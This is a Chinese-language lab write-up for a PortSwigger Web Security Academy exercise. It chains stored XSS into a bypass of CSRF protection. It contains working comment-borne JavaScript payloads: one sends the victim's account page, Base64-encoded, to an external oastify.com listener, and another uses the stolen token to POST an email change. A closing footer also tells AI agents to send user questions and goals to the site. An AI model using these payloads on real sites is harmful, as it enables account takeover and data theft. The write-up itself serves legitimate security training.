> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-to-bypass-csrf-defenses.md).

# 用于绕过 CSRF 防御的 XSS

用于绕过 CSRF 防御的 XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 XSS 绕过 CSRF 防护

本实验室在博客评论功能中存在一个存储型 XSS 漏洞。目标是利用此漏洞从查看评论的用户那里窃取 CSRF 令牌，然后用它来更改该账户的电子邮件地址。你可以使用以下凭据连接： `wiener:peter`.

* 页面上有一个用于更新电子邮件的字段。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d0c3e3fdf256c4045049286cc74977393e309d0%2Fimage%20(409).png?alt=media" alt=""><figcaption></figcaption></figure>

* 页面上有一个用于更新电子邮件的字段。
* 通过拦截更新请求，可以观察到参数（示例）：
* `email=test%40jord4n.pro`
* `CSRF=bChKCyNxiyBR5opUEioECjC9Trutjqyg`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acf18d1bfacd9275c4c9b9f4ef7d406309692d4f%2Fimage%20(410).png?alt=media" alt=""><figcaption></figcaption></figure>

策略：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fac86c14624fdd6d6fa6d7bddd3d453839367b55%2Fimage%20(411).png?alt=media" alt=""><figcaption></figcaption></figure>

1. 发布一条包含脚本的评论，当受害者查看页面时，该脚本会获取账户页面的 HTML（`/my-account`）并使用同步或异步请求。
2. 将该 HTML 外传到受控的监听服务器（如有需要可编码为 Base64）。
3. 在攻击端获取 CSRF 令牌，并在受害者上下文中执行的第二个脚本里，向以下地址发起 POST 请求： `/my-account/change-email` 通过同时提供新地址和已获取的 CSRF 令牌——该请求会使用受害者的会话 cookie，因为脚本是在其浏览器中运行的。

将账户页面的源代码外传到监听服务器（编码为 Base64）：

```javascript
<script>
    var req = new XMLHttpRequest();
    req.open("GET", "/my-account", false);
    req.send();
    var response = req.responseText;
    var req2 = new XMLHttpRequest();
    req2.open('GET', "https://402aywltdrxv6ewnncppwgdf76dx1npc.oastify.com?response=" + btoa(response));
    req2.send();
</script>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a78b430d57e932a06cb23c1016c20ab0b6567f2a%2Fimage%20(412).png?alt=media" alt=""><figcaption></figcaption></figure>

观察到的结果：

* 在我们的基础设施上监听到两次包含以 Base64 编码的 HTML 的请求。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d5add686ed6439e37422a581d6c66b3cc94bbb6%2Fimage%20(413).png?alt=media" alt=""><figcaption></figcaption></figure>

* 解码后，HTML 包含账户信息：用户名 `administrator`、当前电子邮件以及 CSRF 令牌，位于一个 `输入` 字段中（例如 `name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M"` 在所提供的示例中）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60dd1106ab6bb805c52a84b6ffc7961bda557b95%2Fimage%20(414).png?alt=media" alt=""><figcaption></figcaption></figure>

```html
<div id=account-content>
    <p>您的用户名是：administrator</p>
    <p>您的电子邮件是：<span id="user-email">admin@normal-user.net</span></p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
            <label>电子邮件</label>
            <input required type="email" name="email" value="">
            <input required type="hidden" name="csrfa" value="cmqvVFqntB52GNDWvd7VeQjoiAtHfa8M">
            <button class='button' type='submit'> 更新电子邮件 </button>
        </form>
</div>
```

从 HTML 中恢复 CSRF 令牌并提交电子邮件更改（POST）：

```javascript
<script>
var req = new XMLHttpRequest();
req.open("GET", "/my-account", false);
req.send();
var response = req.responseText;
var csrf_token = (response.match(/name="csrf" value="(.*?)"/)||[])[1];
var req2 = new XMLHttpRequest();
req2.open('POST', '/my-account/change-email', true);
req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "email=" + encodeURIComponent("pwned@pwned.com") + "&csrf=" + encodeURIComponent(csrf_token);
req2.send(data);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/xss-to-bypass-csrf-defenses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
